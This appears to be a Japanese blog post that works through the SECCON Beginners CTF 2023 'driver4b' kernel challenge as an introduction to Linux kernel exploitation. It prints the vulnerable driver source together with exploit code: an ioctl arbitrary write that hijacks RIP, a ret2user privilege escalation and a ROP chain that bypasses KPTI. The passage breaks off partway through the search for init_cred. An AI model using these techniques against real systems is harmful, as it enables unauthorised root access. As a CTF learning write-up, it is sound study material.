All Articles

sec4b-2023 の driver4b で Linux のカーネルエクスプロイトに入門してみる

6/3 から開催されていた SECCON Beginners CTF 2023 で出題された driver4b をテーマに、Linux のカーネルエクスプロイトについて学んでみようと思います。

driver4b は Linux のカーネルエクスプロイトをテーマにしたエントリレベルの問題でした。

コンテスト中は残念ながらあと一歩 Flag を取るまでに至らず悔しい思いをしたので、本棚の肥やしになってた詳解 Linux カーネルを片手に前提知識を含めて学んでいくことにしました。

driver4b で攻撃する対象は x8664 のカーネル上で動作するカーネルドライバですので、今回の内容も x8664 を対象とすることにします。

もくじ

カーネルをビルドする

まず、以下のソースなどから Linux のバージョンを確認しておきます。

参考:kernel - Linux source code (v6.3.6) - Bootlin

次に、以下からダウンロードした Buildroot ツールを展開します。

参考:Buildroot - Making Embedded Linux Easy

この時、以下に記載の依存パッケージを事前にインストールしておきます。

参考:The Buildroot user manual

sudo apt install make binutils build-essential diffutils gcc g++ patch gzip bzip2 perl tar cpio unzip rsync file bc findutils wget -y

カーネルのビルドのため、ビルドオプションを設定します。

# ビルドオプションの設定
make qemu_x86_64_defconfig
make menuconfig

ターゲットバージョンは、問題環境と同じ 6.3.2 に変更します。

image-20230608133221693

カーネルバージョンを変更したら、Toolchains の Custom kernel headers series のバージョンも対応するバージョン(6.3.x) に変えておかないと make がかなり進んでからエラーになるという罠があるので注意します。

image-20230608182618542

また、調査を用意にするために strip を外したり debugging info を付与する設定を有効化します。

image-20230608112031052

設定が完了したら、root ユーザで以下のコマンドを実行してカーネルをビルドします。

# Linux カーネルのビルド
sudo su
make

設定が上手くいっていれば、1 時間程度で output/images にカーネルイメージがビルドされます。

カーネルモジュール(デバイスドライバ)

カーネルモジュール(デバイスドライバ)の実体

Linux におけるデバイスドライバは、メモリ内のカーネル空間内で、Linux カーネルイメージ内のデバイスドライバ(.o) とは別のモジュール(.ko)として動作します。(ただし、デバイスドライバはカーネルの一部として動作します)

デバイスドライバは静的リンク(カーネルイメージに組み込まれる)か、または動的リンク(動作中のカーネルに対してロード、アンロードができる)でカーネルに組み込まれます。

動的リンク型のデバイスドライバは、insmod コマンドでロードされます。また、rmmod でアンロードされます。

Linux カーネルはモノリシックなカーネルなので、カーネルイメージと追加したデバイスドライバは同じカーネルメモリ空間を共有します。

今回の問題環境では、起動時に /bin/sh /etc/init.d/S99ctf start が実行されていました。

S99ctf は以下のようなスクリプトであり、/root/ctf4b.koinsmod コマンドでロードしていることがわかります。

#!/bin/sh
# Setup
mdev -s
mount -t proc none /proc
stty -opost

# Install kernel driver
insmod /root/ctf4b.ko
mknod -m 666 /dev/ctf4b c `grep ctf4b /proc/devices | awk '{print $1;}'` 0

# User shell
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "[ Welcome to SECCON Beginners CTF 2023 ]"
setsid cttyhack setuidgid 0 sh

# Cleanup
umount /proc
poweroff -d 0 -f

デバイスファイルを用意する

ユーザ空間で動作する通常のプログラムは、カーネル空間で動作するデバイスドライバとは独立したメモリ領域で稼働しています。

そのため、「デバイスファイル」という、プログラムとデバイスドライバ間で情報を交換するためのインターフェースを使用します。

デバイスファイルは一般的に /dev 配下に作成されます。

今回の問題では /dev/ctf4b というキャラクタデバイスが、 ctf4b とのインターフェースになります。

デバイスファイルは常に 1 つのデバイスドライバのみと紐づけされる必要があるため、mknod コマンドでデバイスファイルを作成する場合には、対象のデバイスドライバのメジャーバージョンと、対応するハードウェアを指定するマイナーバージョンを指定します。

以下の例では、/proc/devices の情報から ctf4b のメジャーバージョンを取得し、マイナーバージョンには 0 を指定しています。

mknod -m 666 /dev/ctf4b c `grep ctf4b /proc/devices | awk '{print $1;}'` 0

ちなみに -m はデバイスファイルの権限を指定しており、 666 は読み書きを許可する -m 'a=rw' と同等の設定値に当たります。

また、c ではデバイスファイルの種類をキャラクタデバイスファイルに指定しています。

参考:デバイスファイル - Wikipedia

メモリアドレッシングについて

Linux 環境のメモリは、大きく以下の 3 種類に分類されます。

  • 論理アドレス:オペラントと命令アドレスを指定するときに使用するアドレス
  • リニアアドレス:仮想アドレスと同義であり、論理アドレスから物理アドレスに変換するための一次変換後のアドレス
  • 物理アドレス:メモリチップ内のメモリセルを指定する際に使用するアドレス

そして、論理アドレスから物理アドレスを特定する一般的な方法として、セグメンテーションとページングが利用されます。

セグメンテーションでは、論理アドレスからリニアアドレス(仮想アドレス)を特定します。また、ページングではリニアアドレス(仮想アドレス)から物理アドレスを特定します。

なお、セグメンテーションは x86_64 では利用されておらず、論理アドレスとリニアアドレス(仮想アドレス)は実質的に同じである「基本フラットモデル」になっています。

※ ただし、カーネル空間のセグメントは CPU のリングプロテクションによって ring0 の権限でしかアクセスできないように制限されます。

参考:セグメント機構とCPUの動作モード(Linux(64bit)との関係性) - 人生は勉強ブログ

ちなみに、x86 でのセグメント管理については以前に xv6OS のソースコードを読んだ時に少し勉強しました。

参考:xv6OSを真面目に読みこんでカーネルを完全に理解する -セグメントディスクリプタ初期化 編-

そしてページングについてですが、詳解 Linux カーネルによると、少なくともページング機構については x86 と x86_64 アーキテクチャはどちらも同じページングモデルが適用されています。(ただし、32 bit OS のページング機構が 2 階層なのに対して、 2.6.11 以降の 64 bit アーキテクチャでは 4 または 5 階層のページングモデルを使用します。)

このページングモデルでは、CR3 レジスタに保持されている値とグローバルディレクトリの情報を組み合わせて、ページグローバルテーブル(レベル 4 テーブル)の特定のエントリを指定するところから始まり、最終的にページテーブルから取得したページのオフセットを使用して物理アドレスのオフセットを特定します。

参考:Linux x86_64のメモリアドレッシング - Qiita

参考:カーネルエクスプロイトによるシステム権限奪取 - Speaker Deck

カーネルのセキュリティ機構の有無を特定する

通常のユーザモードプロセスのエクスプロイトと同じように、カーネルエクスプロイトでもセキュリティ機構に注意を払う必要があるようです。

主だったセキュリティ機構の種類とその確認方法については以下の記事が非常に参考になりました。

参考:セキュリティ機構 | PAWNYABLE!

SMEP (Supervisor Mode Execution Prevention)

SMEP が有効(CR4レジスタの21ビット目がたっている)な場合、実行中のカーネル空間のコードからユーザ空間のコードをいきなり実行することが禁止されます。

つまり SMEP が有効な場合はカーネルエクスプロイトで RIP を奪われてもそのままユーザ空間のコード実行を行うことができなくなります。

SMEP が有効かどうかは以下のコマンドで確認できます。(何も出力されない場合は SMEP は無効化されています)

# SMEP が有効かを確認する
cat /proc/cpuinfo | grep smep

今回の問題バイナリの環境では Qemu の -cpu オプションに +smep は指定されておらず、SMEP が無効化されていることがわかります。

image-20230606213506904

SMEP のみが有効な環境でエクスプロイトを通すことが可能な手法としては、ROP ガジェットを利用した Stack Pivot があるようです。

参考にしている記事の例だと、例えば以下のようなガジェットを使用して RSP を変更して Stack Pivot を行うことで制御した RIP から ROP Chain を悪用したコード実行を可能にすることができるようです。

mov esp, 0x12345678; ret;

SMAP (Supervisor Mode Access Prevention)

SMAP(CR4レジスタの22ビット目) はカーネル空間からユーザ空間のメモリを読み書きできなくするための機構です。

Stack Pivot でユーザ空間のプロセスが確保したメモリ領域を使用した ROP Chain の防止や、カーネルドライバなどの脆弱性を悪用して任意のアドレスのデータをリークしたり書き換えたりする AAR(Arbitrary Address Read) や AAW(Arbitrary Address Write) の攻撃を防ぐ効果があります。

SMAP が有効かどうかは以下のコマンドで確認可能です。

# SMAP が有効かを確認する
cat /proc/cpuinfo | grep smap

また、問題環境では Qemu の起動時に +smap の cpu オプションが与えられていないので、SMAP も無効化されていることがわかります。

image-20230606215544180

KASLR、FGKASLR

KASLR(Kernel Address Space Layout Randomization) は、ユーザ空間のプロセスの持つ ASLR のカーネル版のような機構で、Linux カーネルやデバイスドライバのコード領域とデータ領域のアドレスをランダム化します。

また、FGKASLR(Function Granular KASLR) は KASLR の強化版で、Linux カーネルの関数ごとにアドレスをランダム化できる機構で、特定の関数アドレスをリークしてもカーネルのベースアドレスを特定させないメリットがあるようです。

KASLR はデフォルトで有効ですが、Qemu 環境の場合は起動時の -append オプションに nokaslr が指定されていれば KASLR は無効化されいると判断できます。

今回の問題環境でも、以下のとおり KASLR は無効化されています。

image-20230606220219457

KPTI (Kernel Page-Table Isolation)

KPTI は仮想アドレスから物理アドレスに変換する際に利用するページテーブルをユーザモードとカーネルモードで分離する機構です。

これにより、カーネル空間のメモリをユーザー権限で参照する Meltdown 攻撃を防止します。

また、KPTI が有効な場合にはカーネル空間から ROP する場合にユーザ空間に ret した際にクラッシュが発生するようです。

これは、ユーザ空間に異動した際に KPTI が有効化されていると、ページディレクトリがカーネル空間のまま変わらず、ユーザー空間のページを参照できなくなることが原因で発生します。

KPTI の影響を回避するためには、ユーザ空間に戻る前に CR3 レジスタを 0x1000 で OR する必要があるようです。

このような処理は swapgsrestoreregsandreturntousermode マクロの処理で実装されているようです。

このマクロのアドレスは、/proc/kallsyms の出力結果から以下のようにして特定できます。

# swapgs_restore_regs_and_return_to_usermode のアドレスを特定
cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode

参考:Holstein v1: Stack Overflowの悪用 | PAWNYABLE!

KPTI は、 Qemu 環境の場合は起動時の -append オプションに pti=on が指定されていれば有効化されいると判断できます。

今回の問題環境では KPTI は有効化されています。

image-20230606221608271

KADR (Kernel Address Display Restriction)

後述する通り、Linux カーネルの関数の名前とアドレスは /proc/kallsyms などから参照することができますが、KADR が有効化されている場合カーネル空間の関数やデータ、ヒープなどのアドレス情報のリークが防止されます。

カーネルエクスプロイト問のアプローチ

※ あくまでカーネルエクスプロイトに入門する人間が初めて学んだ内容のメモなので、内容の網羅性は保証しません。

カーネルメモリ空間のアドレスを特定する

カーネルメモリ空間のアドレスは、/proc/kallsyms の出力などから特定することができます。

# kASLR が無効化されていればアドレスは固定になる
cat /proc/kallsyms

前述の KASLR が無効化されていれば、ここで特定したアドレスをそのままエクスプロイトに利用することが可能ですが、 KASLR が有効な場合このアドレスは使用できないので、実行中のカーネルなどからリークさせる必要があります。

bazImage から vmlinux を取得する

vmlinux は、内部にLinuxカーネル本体を包含する静的リンクされた実行ファイル(ELF)です。

今回の問題バイナリの場合、bzImage という vmlinux を圧縮した形式のファイルが与えられるため、extract-vmlinux で vmlinux を展開しておきます。

# bzImage を展開する
wget https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux
chmod +x extract-vmlinux
./extract-vmlinux bzImage > vmlinux

vmlinux を展開することで、gdb へのロードやガジェットの探索などを行えるようになります。

ファイルシステムを編集してバイナリを配置する

問題を解く際に、与えられた rootfs.cpio を展開して問題ファイルを埋め込みたい場合があります。

その場合は、root ユーザで以下のようなコマンドを実行します。

# cpio ファイルを展開する(root)
mkdir root
cd root; cpio -idv < ../rootfs.cpio

# エクスプロイトの配置
gcc -static ../pwn.c -o ./pwn

# Exploitの配置後(root)
find . -print0 | cpio -o --format=newc --null > ../rootfs.cpio

詳細については以下が参考になりました。

参考:コンパイルとexploitの転送 | PAWNYABLE!

driver4b(Pwn)

This is an introduction to Linux Kernel driver programming and exploitation.

これで最低限の背景知識を整理できたかと思うので、いよいよ driver4b の問題をちゃんと解いていきます。

問題の概要について

問題サーバに nc でアクセスすると、最初に hashcash で生成したトークンを求められ、ローカル端末で生成したトークンを入力し、認証を行うと問題マシンのシェルにアクセスできるようになります。

この時アクセスできるシェルは、問題バイナリとして与えられた release/run.sh で起動した環境と同等のようです。

#!/bin/sh
timeout --foreground 300 qemu-system-x86_64 \
    -m 64M \
    -nographic \
    -kernel bzImage \
    -initrd rootfs.cpio \
    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on nokaslr" \
    -no-reboot \
    -cpu kvm64 \
    -monitor /dev/null \
    -net nic,model=virtio \
    -net user

実際にシェルにアクセスすると、x86_64 のバニラ Linux に通常ユーザ権限で、インターネットに接続可能な環境であることがわかります。(HTTPS 接続はできず、wget コマンドによるファイル取得は HTTP に対してのみ有効に動作する。)

image-20230607005642037

続いて、root 権限でシェルを起動可能な debug/debug.sh を使用してシェルを起動し、dmesg コマンドの結果を確認したところ、ctf4b: loading out-of-tree module taints kernel. というメッセージが表示されていることがわかります。

また、ps コマンドを発行すると {S99ctf} /bin/sh /etc/init.d/S99ctf startというプロセスが稼働していることがわかります。

ここで、/etc/init.d/S99ctf は以下のようなスクリプトでした。

#!/bin/sh
# Setup
mdev -s
mount -t proc none /proc
stty -opost

# Install kernel driver
insmod /root/ctf4b.ko
mknod -m 666 /dev/ctf4b c `grep ctf4b /proc/devices | awk '{print $1;}'` 0

# User shell
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "[ Welcome to SECCON Beginners CTF 2023 ]"
setsid cttyhack setuidgid 0 sh

# Cleanup
umount /proc
poweroff -d 0 -f

上記を確認すると、/root/ctf4b.ko のデバイスドライバを insmod コマンドでロードした後、/dev/ctf4b というキャラクタデバイスを作成して割り当てていることがわかります。

以下のコマンドを実行してみるとカーネルのメモリ空間に ctf4b がロードされていることが確認できます。

cat /proc/kallsyms | grep ctf4b
>
ffffffffc0000010 t module_open  [ctf4b]
ffffffffc0000030 t module_ioctl [ctf4b]
ffffffffc00000e0 t module_cleanup       [ctf4b]
ffffffffc00000c0 t module_close [ctf4b]
ffffffffc0000000 t __pfx_module_open    [ctf4b]
ffffffffc0000020 t __pfx_module_ioctl   [ctf4b]
ffffffffc00000b0 t __pfx_module_close   [ctf4b]
ffffffffc00000e0 t cleanup_module       [ctf4b]
ffffffffc00000d0 t __pfx_cleanup_module [ctf4b]

さらに、この ctf4b.ko が存在するディレクトリを調べると、 root ディレクトリに flag.txt というファイルが配置されていることがわかります。

つまり、今回の問題はデバイスドライバの脆弱性を悪用することで root 権限を取得し、flag.txt を読み出す必要があることがわかります。

デバイスドライバを調べる

今回の問題バイナリである ctf4b.ko については、ありがたいことにソースコードが問題バイナリとして与えられています。

// ctf4b.h
#define CTF4B_DEVICE_NAME "ctf4b"
#define CTF4B_IOCTL_STORE 0xC7F4B00
#define CTF4B_IOCTL_LOAD  0xC7F4B01
#define CTF4B_MSG_SIZE 0x100

// ctf4b.c
#include "ctf4b.h"
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/uaccess.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("pwnyaa");
MODULE_DESCRIPTION("SECCON Beginners CTF 2023 Online");

char g_message[CTF4B_MSG_SIZE] = "Welcome to SECCON Beginners CTF 2023!";

/**
 * Open this driver
 */
static int module_open(struct inode *inode, struct file *filp)
{
  return 0;
}

/**
 * Close this driver
 */
static int module_close(struct inode *inode, struct file *filp)
{
  return 0;
}

/**
 * Handle ioctl request
 */
static long module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
  char *msg = (char*)arg;

  switch (cmd) {
    case CTF4B_IOCTL_STORE:
      /* Store message */
      memcpy(g_message, msg, CTF4B_MSG_SIZE);
      break;

    case CTF4B_IOCTL_LOAD:
      /* Load message */
      memcpy(msg, g_message, CTF4B_MSG_SIZE);
      break;

    default:
      return -EINVAL;
  }

  return 0;
}

static struct file_operations module_fops = {
  .owner = THIS_MODULE,
  .unlocked_ioctl = module_ioctl,
  .open = module_open,
  .release = module_close,
};

static dev_t dev_id;
static struct cdev c_dev;

static int __init module_initialize(void)
{
  if (alloc_chrdev_region(&dev_id, 0, 1, CTF4B_DEVICE_NAME))
    return -EBUSY;

  cdev_init(&c_dev, &module_fops);
  c_dev.owner = THIS_MODULE;

  if (cdev_add(&c_dev, dev_id, 1)) {
    unregister_chrdev_region(dev_id, 1);
    return -EBUSY;
  }

  return 0;
}

static void __exit module_cleanup(void)
{
  cdev_del(&c_dev);
  unregister_chrdev_region(dev_id, 1);
}

module_init(module_initialize);
module_exit(module_cleanup);

このモジュールのコードを読むと、末尾で以下の関数が呼び出されていることがわかります。

ここではモジュールの初期化と終了時の処理が定義されます。

module_init(module_initialize);
module_exit(module_cleanup);

終了処理は一旦無視し、初期化処理を確認してみます。

static int __init module_initialize(void)
{
  if (alloc_chrdev_region(&dev_id, 0, 1, CTF4B_DEVICE_NAME))
    return -EBUSY;

  cdev_init(&c_dev, &module_fops);
  c_dev.owner = THIS_MODULE;

  if (cdev_add(&c_dev, dev_id, 1)) {
    unregister_chrdev_region(dev_id, 1);
    return -EBUSY;
  }

  return 0;
}

ここでは、cdev_initcdev_add でモジュールのインターフェースを定義しています。

参考:動的にメジャー番号を割り当てて、カーネルに登録する

この時 cdev_init に与えられている &module_fops は、作成したインターフェース(キャラクタデバイス)に対してシステムコールが発行された場合に行う処理の関数テーブルにあたります。

static struct file_operations module_fops = {
  .owner = THIS_MODULE,
  .unlocked_ioctl = module_ioctl,
  .open = module_open,
  .release = module_close,
};

今回着目するのは、ioctl がコールされた場合に呼び出される処理を定義した unlocked_ioctl の行です。

参考:Linuxのunlockedioctlとcompatioctlの違い - Qiita

ここから、作成したキャラクタデバイスに対して ioctl がコールされると以下の処理が呼び出されることがわかります。

/**
 * Handle ioctl request
 */
static long module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
  char *msg = (char*)arg;

  switch (cmd) {
    case CTF4B_IOCTL_STORE:
      /* Store message */
      memcpy(g_message, msg, CTF4B_MSG_SIZE);
      break;

    case CTF4B_IOCTL_LOAD:
      /* Load message */
      memcpy(msg, g_message, CTF4B_MSG_SIZE);
      break;

    default:
      return -EINVAL;
  }

  return 0;
}

どうやらこの関数が攻撃の起点になりそうです。

module_ioctl を読む

module_ioctl 関数の定義を見ると、 ioctl の第 2 引数に CTF4BIOCTLSTORE(0xC7F4B00) が与えられた場合は、続く ioctl の第 3 引数の値をグローバル変数 g_message の領域に memcpy することがわかります。

また ioctl の第 2 引数に CTF4BIOCTLLOAD(0xC7F4B01) が与えられた場合は、逆に g_message の値がローカル変数 msg にコピーされます。

処理としてはシンプルですが、CTF4BIOCTLLOAD の処理を呼び出した場合、任意のアドレスに対して g_message の値を埋め込むことができるようになることがわかります。

ここで、先ほど確認した通り今回の環境では SMAP、SMEP や KASLR は無効化されています。

つまり、gdb で特定した ret 時のスタックを改ざんして RIP を奪取したり、ユーザランドのメモリを書き換えるなどやりたい放題できるようになるわけです。

実際に、以下のコードで作成したペイロードを使用することで、 TARGET で指定した ret 時の RSP を改ざんし、 RIP を奪取することに成功しました。

int fd;
fd = open("/dev/ctf4b", O_RDWR);
if (fd == -1) fatal("/dev/ctf4b");

if (ioctl(fd, CTF4B_IOCTL_STORE, "AAAAAAAA") == -1) {
    perror("ioctl");
    exit(1);
}

if (ioctl(fd, CTF4B_IOCTL_LOAD, TARGET) == -1) {
    perror("ioctl");
    exit(1);
}

image-20230607203550475

root 権限で Shell を取得する(ret2user)

無事に RIP を奪取できたので、root 権限の Shell 取得を目指します。

以下の記事を参考にしたところ、SMEP が無効な場合はユーザ空間のコード実行を利用して ret2user という手法で root 権限の Shell を取得できるようです。

参考:Holstein v1: Stack Overflowの悪用 | PAWNYABLE!

ret2user では、ユーザ空間で以下のように定義した escalate_privilege 関数をカーネル空間から呼び出すことで権限昇格を行います。

static void win() {
  char *argv[] = { "/bin/sh", NULL };
  char *envp[] = { NULL };
  puts("[+] win!");
  execve("/bin/sh", argv, envp);
}

static void restore_state() {
  asm volatile("swapgs ;"
               "movq %0, 0x20(%%rsp)\t\n"
               "movq %1, 0x18(%%rsp)\t\n"
               "movq %2, 0x10(%%rsp)\t\n"
               "movq %3, 0x08(%%rsp)\t\n"
               "movq %4, 0x00(%%rsp)\t\n"
               "iretq"
               :
               : "r"(user_ss),
                 "r"(user_rsp),
                 "r"(user_rflags),
                 "r"(user_cs), "r"(win));
}

static void escalate_privilege() {
  char* (*pkc)(int) = (void*)(prepare_kernel_cred);
  void (*cc)(char*) = (void*)(commit_creds);
  (*cc)((*pkc)(0));
  restore_state();
}

最終的に、commit_creds 関数を使用して権限を昇格した状態で win 関数に飛ばすことで Shell を取得します。

img

問題環境の preparekernelcred と commit_creds のアドレスは以下のコマンドで特定しました。

※ ちなみに release の方のイメージだと [/proc/sys/kernel/kptr_restrict] が 0 ではなく 2 に指定されているので /proc/kallsyms からアドレスを参照できません。

cat /proc/kallsyms | grep prepare_kernel_cred
cat /proc/kallsyms | grep commit_creds

これで勝つると、奪取した RIP で escalate_privilege 関数に ret させたものの、以下のように permissions violation で関数プロローグの最初の行でクラッシュしてしまいました。

image-20230607210530848

ここでクラッシュする原因がわからずしばらく苦戦しましたが、 CR3 レジスタが参照しているディレクトリテーブルのアドレスがカーネル空間のままになっていることが原因でユーザ空間のコード実行に失敗していたようでした。

これは、カーネルのセキュリティ機構である KPTI によるもので、ユーザ空間のページテーブルを参照しないままユーザ空間のコード実行を試みたためにクラッシュが発生したようです。

KPTI の回避

KPTI を回避するためには、一般的に以下の 2 つの手法があるようです。(他にもあるようですが、詳しい挙動は理解できませんでした。)

  1. KPTI トランポリン
  2. プロセスに返された SIGSEGV の例外を処理するイベントハンドラの実装

参考:Kernel page table isolation (KPTI) - Breaking Bits

ただし、どうもどちらの回避策も、利用するためにはカーネル空間で ROP Chains を組む必要があるようです。

今回は、KPTI トランポリンによる回避を試してみました。

具体的には、カーネル内に存在している swapgsrestoreregsandreturntousermode マクロを使用して CR3 レジスタの値を適切に切り替えます。

参考:Holstein v1: Stack Overflowの悪用 | PAWNYABLE!

参考:Kernel page table isolation (KPTI) - Breaking Bits

KPTI トランポリンを実現できる ROP ガジェットを特定するため、まずは swapgsrestoreregsandreturntousermode のアドレスを特定します。

cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode
ffffffff818017e0 T swapgs_restore_regs_and_return_to_usermode

このアドレスのアセンブリを適当に取得してみると、以下のようになっていました。

$ x/100i 0xffffffff818017e0
   0xffffffff818017e0:  jmp    0xffffffff818017fb
   0xffffffff818017e2:  mov    ecx,0x48
   0xffffffff818017e7:  mov    rdx,QWORD PTR gs:0x1bcf0
   0xffffffff818017f0:  and    edx,0xfffffffe
   0xffffffff818017f3:  mov    eax,edx
   0xffffffff818017f5:  shr    rdx,0x20
   0xffffffff818017f9:  wrmsr
   0xffffffff818017fb:  pop    r15
   0xffffffff818017fd:  pop    r14
   0xffffffff818017ff:  pop    r13
   0xffffffff81801801:  pop    r12
   0xffffffff81801803:  pop    rbp
   0xffffffff81801804:  pop    rbx
   0xffffffff81801805:  pop    r11
   0xffffffff81801807:  pop    r10
   0xffffffff81801809:  pop    r9
   0xffffffff8180180b:  pop    r8
   0xffffffff8180180d:  pop    rax
   0xffffffff8180180e:  pop    rcx
   0xffffffff8180180f:  pop    rdx
   0xffffffff81801810:  pop    rsi
   0xffffffff81801811:  mov    rdi,rsp
   0xffffffff81801814:  mov    rsp,QWORD PTR gs:0x6004
   0xffffffff8180181d:  push   QWORD PTR [rdi+0x30]
   0xffffffff81801820:  push   QWORD PTR [rdi+0x28]
   0xffffffff81801823:  push   QWORD PTR [rdi+0x20]
   0xffffffff81801826:  push   QWORD PTR [rdi+0x18]
   0xffffffff81801829:  push   QWORD PTR [rdi+0x10]
   0xffffffff8180182c:  push   QWORD PTR [rdi]
   0xffffffff8180182e:  push   rax
   0xffffffff8180182f:  xchg   ax,ax
   0xffffffff81801831:  mov    rdi,cr3
   0xffffffff81801834:  jmp    0xffffffff8180186a
   0xffffffff81801836:  mov    rax,rdi
   0xffffffff81801839:  and    rdi,0x7ff
   0xffffffff81801840:  bt     QWORD PTR gs:0x20ad6,rdi
   0xffffffff8180184a:  jae    0xffffffff8180185b
   0xffffffff8180184c:  btr    QWORD PTR gs:0x20ad6,rdi
   0xffffffff81801856:  mov    rdi,rax
   0xffffffff81801859:  jmp    0xffffffff81801863
   0xffffffff8180185b:  mov    rdi,rax
   0xffffffff8180185e:  bts    rdi,0x3f
   0xffffffff81801863:  or     rdi,0x800
   0xffffffff8180186a:  or     rdi,0x1000
   0xffffffff81801871:  mov    cr3,rdi
   0xffffffff81801874:  pop    rax
   0xffffffff81801875:  pop    rdi
   0xffffffff81801876:  swapgs
   0xffffffff81801879:  jmp    0xffffffff81801896

ここで、最終的に CR3 レジスタを書き換えてユーザ空間に処理を戻すことができるのは mov rdi,cr3 の行から swapgs のあたりまでの処理です。

この一連の処理を正しく呼び出すためには事前に取得しておいた user_rsp などの値をスタックに積んだ上で 0xffffffff81801811 に処理を飛ばしてあげる必要があることがわかります。

というわけで、KPIT トランポリンを行うための ROP ガジェットのアドレスを以下のように設定しました。

unsigned long rop_bypass_kpti = 0xffffffff81801811;

ROP Chains の作成

ropbypasskpti のアドレスは特定できたので、このままカーネル空間で preparekernelcred と commit_creds を呼び出して権限昇格をする ROP Chains を作成しようと思います。

カーネル空間で ROP ガジェットを探索するため、展開した vmlinux に対して ROPgadget をかけます。

# ROP chain の探索
ROPgadget --binary vmlinux > ropchain

Holstein v1: Stack Overflowの悪用 | PAWNYABLE! を参考にして次のようなガジェットを探します。

pop rdi; ret;
pop rcx; ret;
mov rdi, rax; rep movsq [rdi], [rsi]; ret;
swapgs; ret;
iretq

しかし、pop rdi; ret;pop rcx; ret; 以外のガジェットが全く見つかりませんでした。

途方に暮れていたところで、参照していた記事をよく読んでみると以下の記載が見つかりました。

通常「mov rdi, rax; rep movsq; ret;」のようなgadgetが存在し、preparekernelcred(NULL)の結果をcommitcredsに渡せます。あるいは「mov rdi, rax; call rcx;」のようなgadgetでcommitcredsの先頭のpush rbpをスキップして実行しても良いでしょう。 どうしてもgadgetが見つからない時や、ROP chainを短くしたいときはinitcredが使えます。initcredというグローバル変数にはroot権限のcred構造体が入っています。つまり、単にcommitcreds(initcred)を実行するだけでも権限昇格できます。

参考:Holstein v1: Stack Overflowの悪用 | PAWNYABLE!

どうやら root 権限の cred 構造体が定義されているグローバル変数 initcred のアドレスを見つけ出せば、preparekernelcred を呼び出さなくても pop rdi; ret; のガジェットだけで commitcreds を呼び出せるようです。

参考:Exploiting the Linux Kernel for Privilege Escalation

また、そもそもバージョン 6.2 以降の Linux カーネルでは preparekernelcred 関数に NULL を与えた場合に initcred が返却される仕様自体が取り払われているため、initcred のアドレスを特定して commit_creds を呼び出す操作が必須になっているようでした。

実際に cred.c のソースコードを bootlin で比較してみると、確かに以下のように old = get_cred(&init_cred); の箇所が削除されています。

// v6.1.33 の prepare_kernel_cred
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
	const struct cred *old;
	struct cred *new;

	new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
	if (!new)
		return NULL;

	kdebug("prepare_kernel_cred() alloc %p", new);

	if (daemon)
		old = get_task_cred(daemon);
	else
		old = get_cred(&init_cred);
    {{ 省略 }}
    
// v6.2 の prepare_kernel_cred
struct cred *prepare_kernel_cred(struct task_struct *daemon)
{
	const struct cred *old;
	struct cred *new;

	if (WARN_ON_ONCE(!daemon))
		return NULL;

	new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
	if (!new)
		return NULL;

	kdebug("prepare_kernel_cred() alloc %p", new);

	old = get_task_cred(daemon);
	validate_creds(old);

	*new = *old;
    {{ 省略 }}

というわけで、最終的に Flag を取得するための ROPChains を以下のように構成することを目標にしました。

commitcreds のアドレスは debug 環境で `cat /proc/kallsyms | grep commitcredsを実行したことで特定されていますし、roppoprdiropbypasskpti` のガジェットについてもすでにアドレスは特定済みです。

unsigned long *chain = buf;
*chain++ = rop_pop_rdi;
*chain++ = init_cred;
*chain++ = commit_creds;
*chain++ = rop_bypass_kpti;
*chain++ = 0xdeadbeef; // [rdi]
*chain++ = 0xdeadbeef;
*chain++ = (unsigned long)&win; // [rdi+0x10]
*chain++ = user_cs;             // [rdi+0x18]
*chain++ = user_rflags;         // [rdi+0x20]
*chain++ = user_rsp;            // [rdi+0x28]
*chain++ = user_ss;             // [rdi+0x30]

つまり、あとはシステム内の init_cred のアドレスさえ特定できれば権限昇格のための ROPChains に必要な情報がそろいそうです。

init_cred のアドレスを特定する

ここからは非常に長い道のりで、正直かなりしんどかったです。

Linux カーネルに関する知識が少ないのはもちろんですが、カーネルメモリ内から init_cred を特定する方法に関する情報が非常に少なかったため、かなり苦戦しました。

initcred は以下の cred 構造体のオブジェクトであり、inittask.c で定義されたカーネルの初期化処理の中で作成されます。

struct cred init_cred = {
	.usage			= ATOMIC_INIT(4),
#ifdef CONFIG_DEBUG_CREDENTIALS
	.subscribers		= ATOMIC_INIT(2),
	.magic			= CRED_MAGIC,
#endif
	.uid			= GLOBAL_ROOT_UID,
	.gid			= GLOBAL_ROOT_GID,
	.suid			= GLOBAL_ROOT_UID,
	.sgid			= GLOBAL_ROOT_GID,
	.euid			= GLOBAL_ROOT_UID,
	.egid			= GLOBAL_ROOT_GID,
	.fsuid			= GLOBAL_ROOT_UID,
	.fsgid			= GLOBAL_ROOT_GID,
	.securebits		= SECUREBITS_DEFAULT,
	.cap_inheritable	= CAP_EMPTY_SET,
	.cap_permitted		= CAP_FULL_SET,
	.cap_effective		= CAP_FULL_SET,
	.cap_bset		= CAP_FULL_SET,
	.user			= INIT_USER,
	.user_ns		= &init_user_ns,
	.group_info		= &init_groups,
	.ucounts		= &init_ucounts,
};

参考:linux/cred.c at 33f2b5785a2b6b0ed1948aafee60d3abb12f1e3a · torvalds/linux

初期化処理の中では、initcred は realcred と cred にそれぞれ格納されます。

RCU_POINTER_INITIALIZER(real_cred, &init_cred),
RCU_POINTER_INITIALIZER(cred, &init_cred),

これらは sched.h で定義されており、カーネルのヒープ領域に保存されます。

/* Process credentials: */

/* Tracer's credentials at attach: */
const struct cred __rcu		*ptracer_cred;

/* Objective and real subjective task credentials (COW): */
const struct cred __rcu		*real_cred;

/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu		*cred;

#ifdef CONFIG_KEYS
/* Cached requested key. */
struct key			*cached_requested_key;
#endif

/*
 * executable name, excluding path.
 *
 * - normally initialized setup_new_exec()
 * - access it with [gs]et_task_comm()
